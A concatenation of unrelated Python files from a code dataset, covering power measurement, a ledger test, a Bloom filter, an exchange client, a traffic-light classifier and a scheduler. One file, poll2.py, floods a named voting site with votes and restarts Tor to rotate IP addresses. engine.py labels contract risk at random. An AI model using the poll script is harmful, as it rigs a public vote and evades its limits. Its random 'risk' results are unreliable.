'\\s*제\\s*\\d+\\s*조\\s*\\(([0-9a-zA-Z가-힇\\s\\·]+)\\)\\s*\\n'\nprov_pattern = '\\(([0-9a-zA-Z가-힁\\s\\·]+)\\)'\netc_type = 99\n\n\ndef __get_prov_type(sub_title):\n try:\n pre_str = re.search(prov_pattern, sub_title).group(1)\n for type_pattern in prov_type:\n result = re.match(type_pattern, pre_str)\n if result:\n return prov_type.index(type_pattern) + 1\n else:\n return etc_type\n except:\n return etc_type\n\n\ndef __get_risk():\n return risk[int(random.randrange(0, len_risk) / 1)]\n\n\ndef analyze(body):\n sentences = list(filter(None, re.split(pattern, body)))\n provisions = []\n\n for i, match in enumerate(finditer(pattern, body)):\n prov_sent = sentences[i * 2 + 1]\n index = match.span()\n provision = []\n provision.append(prov_sent)\n provision.append(__get_prov_type(match.group()))\n risk = __get_risk()\n provision.append(risk)\n# provision.append(index[1] + 1)\n provision.append(index[0])\n# title_len = index[1] - index[0]\n# provision.append(index[0] + title_len + len(prov_sent) - 1)\n if risk == True:\n provision.append([[index[0]+5, index[0]+20]])\n provisions.append(provision)\n\n result['type'] = doc_type[int(random.randrange(0, len_doc_type) / 1)]\n result['risk'] = __get_risk()\n result['provisions'] = provisions\n\n return result\n","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"446626343","text":"\"\"\"\nCopyright (c) 2018, INRIA\nCopyright (c) 2018, University of Lille\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n* Neither the name of the copyright holder nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\"\"\"\n\nimport math\n\nfrom powerapi.handler import Handler\nfrom powerapi.report import PowerReport\n\n\nclass RAPLHandler(Handler):\n \"\"\"\n RAPLHandler class\n \"\"\"\n def __init__(self, state):\n \"\"\"\n RAPLHandler initialization\n \"\"\"\n super().__init__(state)\n\n def _estimate(self, report):\n \"\"\"\n Method that estimate the power consumption from an input report\n :param report: Input Report\n :return: List of PowerReport\n \"\"\"\n def gen_power_report(report, socket, event, counter):\n \"\"\"\n Generate a power report for a RAPL event.\n\n :param report: HWPC report\n :param socket: Socket ID\n :param event: RAPL event name\n :param counter: RAPL event counter\n \"\"\"\n power = math.ldexp(counter, -32)\n metadata = {'socket': socket, 'event': event}\n return PowerReport(report.timestamp, report.sensor, report.target,\n power, metadata)\n\n if 'rapl' not in report.groups:\n return []\n\n reports = []\n for socket, socket_report in report.groups['rapl'].items():\n if len(self.state.formula_id) < 3 or int(self.state.formula_id[2]) == int(socket):\n for events_counter in socket_report.values():\n for event, counter in events_counter.items():\n if event.startswith('RAPL_'):\n reports.append(gen_power_report(report, socket,\n event, counter))\n return reports\n\n def handle(self, msg):\n \"\"\"\n Process a report and send the result to the pusher actor\n :param powerapi.Report msg: Received message\n :return: New Actor state\n :rtype: powerapi.State\n :raises UnknowMessageTypeException: If the msg is not a Report\n \"\"\"\n results = self._estimate(msg)\n for _, actor_pusher in self.state.pushers.items():\n for result in results:\n actor_pusher.send_data(result)\n","sub_path":"rapl_formula/rapl_handlers.py","file_name":"rapl_handlers.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"509586368","text":"import string\nimport types\nfrom binascii import hexlify\n\nimport pytest\n\nfrom ledger.compact_merkle_tree import CompactMerkleTree\nfrom ledger.ledger import Ledger\nfrom ledger.serializers.json_serializer import JsonSerializer\nfrom ledger.stores.chunked_file_store import ChunkedFileStore\nfrom ledger.stores.file_hash_store import FileHashStore\nfrom ledger.test.test_file_hash_store import generateHashes\n\nchunk_size = 5\n\n\n@pytest.fixture(scope=\"function\")\ndef ledger(tempdir):\n store = ChunkedFileStore(tempdir,\n 'transactions',\n isLineNoKey=True,\n chunkSize=chunk_size,\n storeContentHash=False,\n ensureDurability=False)\n ledger = Ledger(CompactMerkleTree(hashStore=FileHashStore(dataDir=tempdir)),\n dataDir=tempdir, serializer=JsonSerializer(),\n transactionLogStore=store)\n ledger.reset()\n return ledger\n\n\ndef test_add_txns(tempdir, ledger):\n txns = []\n hashes = [hexlify(h).decode() for h in generateHashes(60)]\n for i in range(20):\n txns.append({\n 'a': hashes.pop(),\n 'b': hashes.pop(),\n 'c': hashes.pop()\n })\n\n for txn in txns:\n ledger.add(txn)\n\n for s, t in ledger.getAllTxn(frm=1, to=20).items():\n s = int(s)\n assert txns[s-1] == t\n\n for s, t in ledger.getAllTxn(frm=3, to=8).items():\n s = int(s)\n assert txns[s-1] == t\n\n for s, t in ledger.getAllTxn(frm=5, to=17).items():\n s = int(s)\n assert txns[s-1] == t\n\n for s, t in ledger.getAllTxn(frm=6, to=10).items():\n s = int(s)\n assert txns[s-1] == t","sub_path":"ledger/test/test_ledger_chunked_store.py","file_name":"test_ledger_chunked_store.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"158055839","text":"from bitarray import bitarray\nfrom pickle_hash import hash_code_hex\nimport pickle\nimport hashlib\nimport math\n\n\nclass BloomFilter():\n\n def __init__(self, total_items, false_positive_rate):\n ''' \n below are the varibles that calculated using probability equations\n based on the input item size and false positive rate\n all calculation equations referenced from the University Texas\n as well as https://hur.st/bloomfilter/?n=4000&p=1.0E-1&m=&k= site\n '''\n self.false_positive_rate = false_positive_rate\n self.bitarray_size = self.calcualte_bitarray_size(\n total_items, false_positive_rate)\n self.hashes = self.calcualte_hashs(self.bitarray_size, total_items)\n self.bit_array = bitarray(self.bitarray_size)\n self.bit_array.setall(0)\n\n # calculte how many hashes will be apply to the new bloom filter\n # base on the the input item sizes and the false positive rate\n\n def calcualte_hashs(self, bitarray_size, item_size):\n h = (bitarray_size/item_size) * math.log(2)\n return int(h)\n\n def calcualte_bitarray_size(self, items, false_positive_rate):\n m = -(items * math.log(false_positive_rate))/(math.log(2)**2)\n return int(m)\n\n def is_member(self, item):\n # print(\"is_member()'s key: \", item)\n\n # this is for midterm execution env input as bytes\n key = item \n\n\n # this is for test_bloom_filter.py env input as string\n # key = item.encode() \n\n \n for i in range(self.hashes):\n newKey = hashlib.md5(key).hexdigest()\n key_in_int = int(newKey, 16)\n positive = key_in_int % self.bitarray_size\n key = newKey.encode()\n if(self.bit_array[positive] == 0):\n return False\n return True\n\n def add(self, item):\n\n # key = item\n key = item.encode()\n # print(\"key: \", key)\n for i in range(self.hashes):\n newKey = hashlib.md5(key).hexdigest()\n # print(\"newKey: \", newKey)\n key_in_int = int(newKey, 16)\n positive = key_in_int % self.bitarray_size\n self.bit_array[positive] = 1\n key = newKey.encode()\n","sub_path":"bloom_filter.py","file_name":"bloom_filter.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"606315584","text":"import requests\nimport os\nimport time\n\nwhile True:\n try:\n r = requests.get(\"http://115.159.97.229/poll/ids.json\")\n id1 = r.json()['id1']\n id2 = r.json()['id2']\n # print(id1)\n # print(id2)\n\n if id1 is None and id2 is None:\n time.sleep(60)\n else:\n query = \"http://server-stone.maybe88.com/vote_hjxh/poll/index.php?action=ajax&itemid={}\".format(id1)\n r = requests.get(query)\n print(query)\n\n if r.text == 'ok':\n print(\"OK - Done\")\n with open(\"counter\", \"w\") as f:\n f.write(\"OK\")\n else:\n if id2 is not None:\n query = \"http://server-stone.maybe88.com/vote_hjxh/poll/index.php?action=ajax&itemid={}\".format(id2)\n print(query)\n r = requests.get(query)\n r = requests.get(query)\n print(\"change ip\")\n os.system('service tor restart')\n except:\n os.system('service tor restart')\n\n","sub_path":"poll/poll2.py","file_name":"poll2.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"89345644","text":"import time\r\nimport datetime\r\n\r\nimport pandas as pd\r\n\r\nfrom common import utils\r\nfrom common import formats\r\nfrom common import Logger\r\n\r\nfrom exchanges.exchange import Exchange\r\n\r\nclass Gateio(Exchange):\r\n name = 'gateio'\r\n\r\n _ws_path = 'wss://ws.gate.io/v3/'\r\n _rest_path = 'http://data.gate.io/api2/1/'\r\n\r\n###################### Exchange required ################################\r\n async def _resolve_message(self, message):\r\n payload = None\r\n\r\n try:\r\n message = utils.parse_data(message)\r\n if message.get('method', None) == 'ticker.update':\r\n payload = self.__assume_tick(message)\r\n except Exception as e:\r\n Logger.log_error(e)\r\n\r\n finally:\r\n return payload\r\n\r\n async def _subscribe_channels(self):\r\n try:\r\n await self.ws_send({\r\n \"id\": self._get_request_counter(),\r\n \"method\": \"ticker.subscribe\",\r\n \"params\": self._get_markets().index.values.tolist()},)\r\n except Exception as e:\r\n Logger.log_error(e)\r\n\r\n###################### Private #########################################\r\n def __assume_tick(self, tick_data):\r\n tick = None\r\n\r\n try:\r\n current_date = datetime.datetime.now()\r\n market = self._get_markets().loc[tick_data['params'][0]]\r\n tick = pd.Series(\r\n data=[\r\n self.name,\r\n int(time.mktime(current_date.timetuple()))*1000,\r\n '_'.join([\r\n market.at['base'].lower(),\r\n market.at['quot'].lower(),]),\r\n tick_data['params'][1]['close'],],\r\n index=formats.tick,\r\n name=current_date,)\r\n except Exception as e:\r\n Logger.log_error(e)\r\n\r\n finally:\r\n return tick\r\n\r\n########################### API ########################################\r\n async def get_markets(self):\r\n markets = pd.DataFrame(data=[], columns=formats.market)\r\n\r\n try:\r\n request_url = 'pairs'\r\n\r\n stock_data = await self.rest_send(request_url)\r\n for market_name in stock_data:\r\n markets = markets.append(pd.Series(\r\n data=[\r\n self.name,\r\n market_name.split('_')[0],\r\n market_name.split('_')[1],\r\n None,\r\n None,],\r\n index=formats.market,\r\n name=market_name.upper(),))\r\n except Exception as e:\r\n Logger.log_error(e)\r\n\r\n finally:\r\n return markets\r\n","sub_path":"sl/sc/exchanges/gateio.py","file_name":"gateio.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"416651370","text":"from styx_msgs.msg import TrafficLight\nimport rospy\n\nimport os\nimport sys\nfrom os import path\nimport six.moves.urllib as urllib\nimport tarfile\nimport numpy as np\nimport tensorflow as tf\nimport time\nimport cv2\nfrom PIL import Image\n\n\ndef detect_red(img, Threshold=0.01):\n \"\"\"\n detect red and yellow\n :param img:\n :param Threshold:\n :return:\n \"\"\"\n\n # debug\n # timestr = time.strftime(\"%Y%m%d-%H%M%S\")\n # img.save(timestr+\".bmp\")\n\n desired_dim = (30, 90) # width, height (30,90)\n\n w, h = desired_dim\n\n img = cv2.resize(np.array(img), desired_dim,\n interpolation=cv2.INTER_LINEAR)\n\n img_hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\n #cv2.imwrite(timestr+\"_hsv.bmp\", img_hsv)\n\n # lower mask (0-10)\n lower_red = np.array([0, 70, 50])\n upper_red = np.array([10, 255, 255])\n mask0 = cv2.inRange(img_hsv, lower_red, upper_red)\n\n # upper mask (170-180)\n lower_red = np.array([170, 70, 50])\n upper_red = np.array([180, 255, 255])\n mask1 = cv2.inRange(img_hsv, lower_red, upper_red)\n\n # red pixels' mask\n mask = mask0+mask1\n\n # Compare the percentage of red values\n rate = np.count_nonzero(mask) * 1.0 / (w*h)\n\n if rate > Threshold:\n return True\n else:\n return False\n\n\n# input is a PIL Image\ndef read_traffic_lights(image, boxes, scores, classes, max_boxes_to_draw=20, min_score_thresh=0.5, traffic_ligth_label=10):\n im_width, im_height = image.size\n\n red_flag = False\n for i in range(min(max_boxes_to_draw, boxes.shape[0])):\n # rospy.logwarn(\"detected class:\" +\n # str(classes[i]) + \" with score=\" + str(scores[i]))\n if scores[i] > min_score_thresh and classes[i] == traffic_ligth_label:\n\n #rospy.logwarn(\"detected a traffic light\")\n\n ymin, xmin, ymax, xmax = tuple(boxes[i].tolist())\n (left, right, top, bottom) = (xmin * im_width, xmax * im_width,\n ymin * im_height, ymax * im_height)\n crop_img = image.crop((left, top, right, bottom))\n\n if detect_red(crop_img):\n red_flag = True\n\n return red_flag\n\n\nclass TLClassifier(object):\n def __init__(self):\n # DONE - initiate the Tensorflow object dection API\n\n rospy.logwarn(\"Python ver = \"+sys.version)\n rospy.logwarn(\"Tensorflow MUST be 1.4.0+, ver = \" + tf.__version__)\n\n # MODEL Reference\n # backup - 'faster_rcnn_resnet101_coco_11_06_2017'\n MODEL_NAME = 'ssd_mobilenet_v1_coco_2018_01_28'\n MODEL_FILE = MODEL_NAME + '.tar.gz'\n DOWNLOAD_BASE = 'http://download.tensorflow.org/models/object_detection/'\n\n # Path to frozen detection graph. This is the actual model that is used for the object detection.\n PATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'\n\n if path.isdir(MODEL_NAME) is False:\n opener = urllib.request.URLopener()\n opener.retrieve(DOWNLOAD_BASE + MODEL_FILE, MODEL_FILE)\n tar_file = tarfile.open(MODEL_FILE)\n for file in tar_file.getmembers():\n file_name = os.path.basename(file.name)\n if 'frozen_inference_graph.pb' in file_name:\n tar_file.extract(file, os.getcwd())\n\n # --------Load a (frozen) Tensorflow model into memory\n self.detection_graph = tf.Graph()\n with self.detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n\n # ---- init sess\n self.detection_graph.as_default()\n self.sess = tf.Session(graph=self.detection_graph)\n\n # Definite input and output Tensors for detection_graph\n self.image_tensor = self.detection_graph.get_tensor_by_name(\n 'image_tensor:0')\n # Each box represents a part of the image where a particular object was detected.\n self.detection_boxes = self.detection_graph.get_tensor_by_name(\n 'detection_boxes:0')\n # Each score represent how level of confidence for each of the objects.\n # Score is shown on the result image, together with the class label.\n self.detection_scores = self.detection_graph.get_tensor_by_name(\n 'detection_scores:0')\n self.detection_classes = self.detection_graph.get_tensor_by_name(\n 'detection_classes:0')\n self.num_detections = self.detection_graph.get_tensor_by_name(\n 'num_detections:0')\n\n # Do one run to warm up... so it won't spend time during driving time\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np = cv2.imread('redlight.bmp', cv2.COLOR_BGR2RGB)\n image_np_expanded = np.expand_dims(image_np, axis=0)\n # Actual detection.\n (_, _, _, _) = self.sess.run(\n [self.detection_boxes, self.detection_scores,\n self.detection_classes, self.num_detections],\n feed_dict={self.image_tensor: image_np_expanded})\n\n def get_classification(self, image):\n \"\"\"Determines the color of the traffic light in the image\n\n Args:\n image (cv::Mat): image containing the traffic light\n\n Returns:\n int: ID of traffic light color (specified in styx_msgs/TrafficLight)\n\n \"\"\"\n # TODO implement light color prediction\n start_time = time.time()\n\n # Input image is cv2 mat format, convert it to PIL image\n image_np = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n pil_im = Image.fromarray(image_np)\n\n # Expand dimensions since the model expects images to have shape: [1, None, None, 3]\n image_np_expanded = np.expand_dims(image_np, axis=0)\n # Actual detection.\n (boxes, scores, classes, _) = self.sess.run(\n [self.detection_boxes, self.detection_scores,\n self.detection_classes, self.num_detections],\n feed_dict={self.image_tensor: image_np_expanded})\n\n red_flag = read_traffic_lights(pil_im, np.squeeze(boxes), np.squeeze(\n scores), np.squeeze(classes).astype(np.int32))\n if red_flag:\n rospy.logwarn(\"RED: \" +\n str(time.time() - start_time))\n return TrafficLight.RED\n\n rospy.logwarn(\"No red found: \" +\n str(time.time() - start_time))\n return TrafficLight.UNKNOWN\n","sub_path":"ros/src/tl_detector/light_classification/tl_classifier.py","file_name":"tl_classifier.py","file_ext":"py","file_size_in_byte":6590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"497096712","text":"#\n# comm:\n# manages our connection to the robot\n#\n\nfrom networktables import NetworkTable\nimport sys, traceback, time\nimport json\nimport logging\n\nclass Control:\n def __init__(self):\n self.targeting = None\n self.imuHeading = None\n\nclass Target:\n def __init__(self):\n self.clock = time.clock()\n self.angleX = 0\n self.angleY = 0\n\n def Send(self, targetTable):\n targetTable.putNumber(\"clock\", self.clock)\n targetTable.putNumber(\"ax\", self.angleX)\n targetTable.putNumber(\"ay\", self.angleY)\n\ntheComm = None\n\nclass Comm:\n def __init__(self, receiverIP):\n try:\n # IPAddress can be static ip (\"10.49.15.2\" or name:\"roboRIO-4915-FRC\"/\"localhost\")\n NetworkTable.setUpdateRate(.01) # default is .05 (50ms/20Hz), .01 (10ms/100Hz)\n NetworkTable.setIPAddress(receiverIP)\n NetworkTable.setClientMode()\n NetworkTable.initialize()\n\n self.sd = NetworkTable.getTable(\"SmartDashboard\")\n\n # we communcate target to robot via VisionTarget table\n self.targetTable = self.sd.getSubTable(\"VisionTarget\")\n \n # robot communicates to us via fields within the VisionControl SubTable\n # we opt for a different table to ensure we to receive callbacks from our\n # own writes.\n self.controlTable = self.sd.getSubTable(\"VisionControl\")\n self.controlTable.addConnectionListener(self.connectionListener)\n self.controlTable.addTableListener(self.visionControlEvent)\n\n self.control = Control()\n self.target = Target()\n\n self.fpsHistory = []\n self.lastUpdate = time.time()\n theComm = self\n\n except:\n xcpt = sys.exc_info()\n print(\"ERROR initializing network tables\", xcpt[0])\n traceback.print_tb(xcpt[2])\n\n def Shutdown(self):\n self.controlTable.removeConnectionListener(self.connectionListener)\n self.controlTable.removeTableListener(self.visionControlEvent)\n\n def SetTarget(self, t):\n self.target = t\n self.target.Send(self.targetTable)\n\n def GetTarget(self):\n return self.target\n\n def GetIMUHeading(self):\n return self.control.imuHeading\n\n def SetFPS(self, fps):\n self.fpsHistory.append(fps)\n self.fpsHistory = self.fpsHistory[-15*4:]\n if time.time() - self.lastUpdate > 5:\n self.targetState.SetFPS(sum(self.fpsHistory)/len(self.fpsHistory))\n self.lastUpdate = time.time()\n\n def controlEvent(self, key, value, isNew):\n if key == 'SetTarget':\n \tself.control.targeting = value\n elif key == 'IMUHeading':\n \tself.control.imuHeading = value\n #print(value)\n else:\n \tprint(\"Unexpected key in visValueChanged\")\n\n @staticmethod\n def visionControlEvent(table, key, value, isNew):\n # This is where we can be woken up if the driver station \n # (or robot) wants to talk to us. This method fires only\n # on changes to /SmartDashboard/Vision/*\n theComm.controlEvent(key, value, isNew)\n\n @staticmethod\n def connectionListener(connected, connectionInfo):\n logging.getLogger(\"nt\").debug(\"connected: %d\" % connected)\n logging.getLogger(\"nt\").debug(\"info: %s\" % json.dumps(connectionInfo))\n","sub_path":"tests/comm.py","file_name":"comm.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"193693699","text":"import pyodbc\nimport traceback\nfrom utils import ConfigData\nfrom utils import global_const as gc\n\n\nclass MetadataDB:\n\n # CFG_DB_CONN = 'DB/mdb_conn_str' # name of the config parameter storing DB connection string\n # CFG_DB_SQL_PROC = 'DB/mdb_sql_proc_load_sample' # name of the config parameter storing DB name of the stored proc\n # CFG_DB_STUDY_ID = 'DB/mdb_study_id' # name of the config parameter storing key of the MDB study id\n # CFG_DICT_PATH = 'DB/dict_tmpl_fields_node' # name of the config parameter storing key of dictionary path\n # to list of fields\n # CFG_DB_ALLOW_DICT_UPDATE = 'DB/mdb_allow_dict_update' # name of the config parameter storing values\n # for \"allow dict updates\"\n # CFG_DB_ALLOW_SAMPLE_UPDATE = 'DB/mdb_allow_sample_update' # name of the config parameter storing values\n # for \"allow sample updates\"\n\n s_conn = ''\n conn = None\n\n def __init__(self, study_cfg):\n self.cfg = ConfigData(gc.CONFIG_FILE_MAIN) # obj_cfg\n self.s_conn = self.cfg.get_item_by_key(gc.CFG_DB_CONN).strip()\n self.study_cfg = study_cfg\n\n def open_connection(self):\n self.conn = pyodbc.connect(self.s_conn, autocommit=True)\n\n def submit_row(self, row, file): # sample_id, row_json, dict_json, filepath):\n\n dict_json = file.get_file_dictionary_json(True)\n filepath = str(file.filepath)\n sample_id = row.sample_id\n row_json = row.to_json()\n\n if not self.conn:\n self.open_connection()\n str_proc = self.cfg.get_item_by_key(gc.CFG_DB_SQL_PROC).strip()\n study_id = self.study_cfg.get_item_by_key(gc.CFG_DB_STUDY_ID).strip()\n dict_path = '$.' + self.study_cfg.get_item_by_key(gc.CFG_DICT_PATH).strip()\n dict_upd = self.study_cfg.get_item_by_key(gc.CFG_DB_ALLOW_DICT_UPDATE).strip()\n sample_upd = self.study_cfg.get_item_by_key(gc.CFG_DB_ALLOW_SAMPLE_UPDATE).strip()\n\n # prepare stored proc string to be executed\n str_proc = str_proc.replace(self.cfg.get_item_by_key(gc.CFG_FLD_TMPL_STUDY_ID), study_id) # '{study_id}'\n str_proc = str_proc.replace(self.cfg.get_item_by_key(gc.CFG_FLD_TMPL_SAMPLE_ID), sample_id) # '{sample_id}'\n str_proc = str_proc.replace(self.cfg.get_item_by_key(gc.CFG_FLD_TMPL_ROW_JSON), row_json) # '{smpl_json}'\n str_proc = str_proc.replace(self.cfg.get_item_by_key(gc.CFG_FLD_TMPL_DICT_JSON), dict_json) # '{dict_json}'\n str_proc = str_proc.replace(self.cfg.get_item_by_key(gc.CFG_FLD_TMPL_DICT_PATH), dict_path) # '{dict_path}'\n str_proc = str_proc.replace(self.cfg.get_item_by_key(gc.CFG_FLD_TMPL_FILEPATH), filepath) # '{filepath}'\n str_proc = str_proc.replace(self.cfg.get_item_by_key(gc.CFG_FLD_TMPL_DICT_UPD), dict_upd) # '{dict_update}'\n str_proc = str_proc.replace(self.cfg.get_item_by_key(gc.CFG_FLD_TMPL_SAMPLE_UPD), sample_upd)\n # '{samlpe_update}'\n\n # get currrent file_processing_log\n file.logger.debug('SQL Procedure call = {}'.format(str_proc))\n # print ('procedure (str_proc) = {}'.format(str_proc))\n\n try:\n cursor = self.conn.cursor()\n cursor.execute(str_proc)\n # returned recordsets\n rs_out = []\n rows = cursor.fetchall()\n columns = [column[0] for column in cursor.description]\n results = []\n for row in rows:\n results.append(dict(zip(columns, row)))\n rs_out.append(results)\n return rs_out\n\n except Exception as ex:\n # report an error if DB call has failed.\n _str = 'Error \"{}\" occurred during submitting a row (sample_id = \"{}\") to database; ' \\\n 'used SQL script \"{}\". Here is the traceback: \\n{} '.format(\n ex, sample_id, str_proc, traceback.format_exc())\n row.error.add_error(_str)\n file.logger.error(_str)\n","sub_path":"utils/db_access.py","file_name":"db_access.py","file_ext":"py","file_size_in_byte":3918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"289690550","text":"import torch\nimport torch.nn as nn\n# from torch.autograd import Variable\n\n\nclass LockedDropout(nn.Module):\n\n def __init__(self):\n super().__init__()\n\n def forward(self, x, dropout=0.5):\n if not self.training or not dropout:\n return x\n # m = x.data.new(1, x.size(1), x.size(2)).bernoulli_(1 - dropout)\n # mask = Variable(m, requires_grad=False) / (1 - dropout)\n\n # my alternative since pytorch 0.4, which doesn't have new()\n # nor Variable\n # create tensor like x with all values set to 1 - dropout\n # generate bernoulli masks with 1 - dropout probability\n m = (torch.zeros(1, x.size(1), x.size(2)) + (1 - dropout)).bernoulli()\n mask = m / (1 - dropout)\n\n # x is output from RNN, x.shape == (seq_len, batch_size, x_dim)\n # therefore by expanding_as(x) we use the same mask for all time steps.\n mask = mask.expand_as(x)\n\n if x.is_cuda:\n mask = mask.cuda()\n\n return mask * x\n","sub_path":"locked_dropout.py","file_name":"locked_dropout.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"223305276","text":"from fifo import FIFO\nfrom minheap import MinHeap\nfrom task import Task\nimport queue\n\nclass NPScheduler:\n\tdef __init__(self, N, policy='SJF'):\n\t\tself.N = N # number of time steps to schedule\n\t\tself.running = None\n\t\tself.clock = 0\n\t\tself.policy = policy\n\t\t# instantiate the readyQueue, which may be a FIFO or MinHeap\n\t\t# you may need additional queues for \n\t\t# - tasks that have been added but not released yet\n\t\t# - tasks that have been completed\n\t\t# - the Gantt chart\n\t\tif policy == 'RR':\n\t\t\tself.readyQueue = FIFO()\n\t\telse:\n\t\t\tself.readyQueue = MinHeap()\n\t\tself.notReadyQueue = FIFO()\n\t\tself.doneQueue = FIFO()\n\t\tself.ganttChart = FIFO()\n\n\tdef addTask(self, task):\n\t\t# if the release time of the new task is not in the future, then\n\t\t# put it in ready queue; otherwise, put into not-ready queue.\n\t\t# you may need to copy the scheduler policy into the task\n\t\ttask.setPriorityScheme(self.policy)\n\t\tif self.clock < task.releaseTime():\n\t\t\tself.notReadyQueue.put(task)\n\t\telse:\n\t\t\tself.readyQueue.put(task)\n\n\n\tdef dispatch(self, task):\n\t\t# dispatch here means assign the chosen task as the one to run\n\t\t# in the current time step.\n\t\t# the task should be removed from ready-queue by caller;\n\t\t# The task may be empty (None).\n\t\t# This method will make an entry into the Gantt chart and perform\n\t\t# bookkeeping, including\n\t\t# - recording the last dispatched time of this task,\n\t\t# - increment the wait times of those tasks not scheduled\n\t\t# but in the ready queue\n\t\tself.running = task\n\t\tself.ganttChart.put(self.running)\n\t\tif self.running is not None:\n\t\t\tself.running.lastDispatchedTime = self.clock\n\t\t\tfor r in self.readyQueue:\n\t\t\t\tr.incrWaitTime()\n\n\tdef releaseTasks(self):\n\t\t'''\n\t\t\tthis is called at the beginning of scheduling each time step to see\n\t\t\tif new tasks became ready to be released to ready queue, when their\n\t\t\trelease time is no later than the current clock.\n\t\t'''\n\t\twhile True:\n\t\t\tr = self.notReadyQueue.head()\n\t\t\t# assuming the not-Ready Queue outputs by release time\n\t\t\tif r is None or r.releaseTime() > self.clock:\n\t\t\t\tbreak\n\t\t\tr = self.notReadyQueue.get()\n\t\t\tr.setPriorityScheme(self.policy)\n\t\t\tself.readyQueue.put(r)\n\n\tdef checkTaskCompletion(self):\n\t\t# if there is a current running task, check if it has just finished.\n\t\t# (i.e., decrement remaining time and see if it has more work to do.\n\t\t# If so, perform bookkeeping for completing the task, \n\t\t# - move task to done-queue, set its completion time and lastrun time\n\t\t# set the scheduler running task to None, and return True\n\t\t# (so that a new task may be picked.)\n\t\t# but if not completed, return False.\n\t\t# If there is no current running task, also return True.\n\t\tif self.running is None:\n\t\t\treturn True\n\t\t# your code here\n\t\telse:\n\t\t\tself.running.decrRemaining()\n\t\t\tif self.running.done():\n\t\t\t\tself.running.setCompletionTime(self.clock)\n\t\t\t\tself.doneQueue.put(self.running)\n\t\t\t\tself.running = None\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\n\tdef schedule(self):\n\t\t# scheduler that handles nonpreemptive scheduling.\n\t\t# the policy such as RR, SJF, or FCFS is handled by the task as it \n\t\t# defines the attribute to compare (in its __iter__() method)\n\t\t# first, check if added but unreleased tasks may now be released\n\t\t# (i.e., added to ready queue)\n\t\tself.releaseTasks()\n\t\tif self.checkTaskCompletion() == False:\n\t\t\t# There is a current running task and it is not done yet!\n\t\t\t# the same task will continue running to its completion.\n\t\t\t# simply redispatch the current running task.\n\t\t\tself.dispatch(self.running)\n\t\telse:\n\t\t\t# task completed or no running task.\n\t\t\t# get the next task from priority queue and dispatch it.\n\t\t\tnewTask = self.readyQueue.head()\n\t\t\tif newTask is not None:\n\t\t\t\tnewTask = self.readyQueue.get()\n\t\t\t\tself.dispatch(newTask)\n\t\t\telse:\n\t\t\t\tself.dispatch(None)\n\n\n\tdef clockGen(self):\n\t\tfor self.clock in range(self.N):\n\t\t\t# now run scheduler here\n\t\t\tself.schedule()\n\t\t\tyield self.clock\n\n\n\tdef getSchedule(self):\n\t\treturn '-'.join(map(str, self.ganttChart))\n\t\t# return self.ganttChart\n\n\tdef getThroughput(self):\n\t\t# calculate and return throughput as a tuple\n\t\tlength = 0\n\t\tlastClock = -1\n\t\tfor r in self.doneQueue:\n\t\t\tif r is not None:\n\t\t\t\tlength = length + 1\n\t\t\t\tif lastClock < r.completionTime:\n\t\t\t\t\tlastClock = r.completionTime\n\t\treturn (length, lastClock)\n\n\tdef getWaitTime(self):\n\t\t# calculate and return\n\t\twaitTime = 0\n\t\tlength = 0\n\t\tfor r in 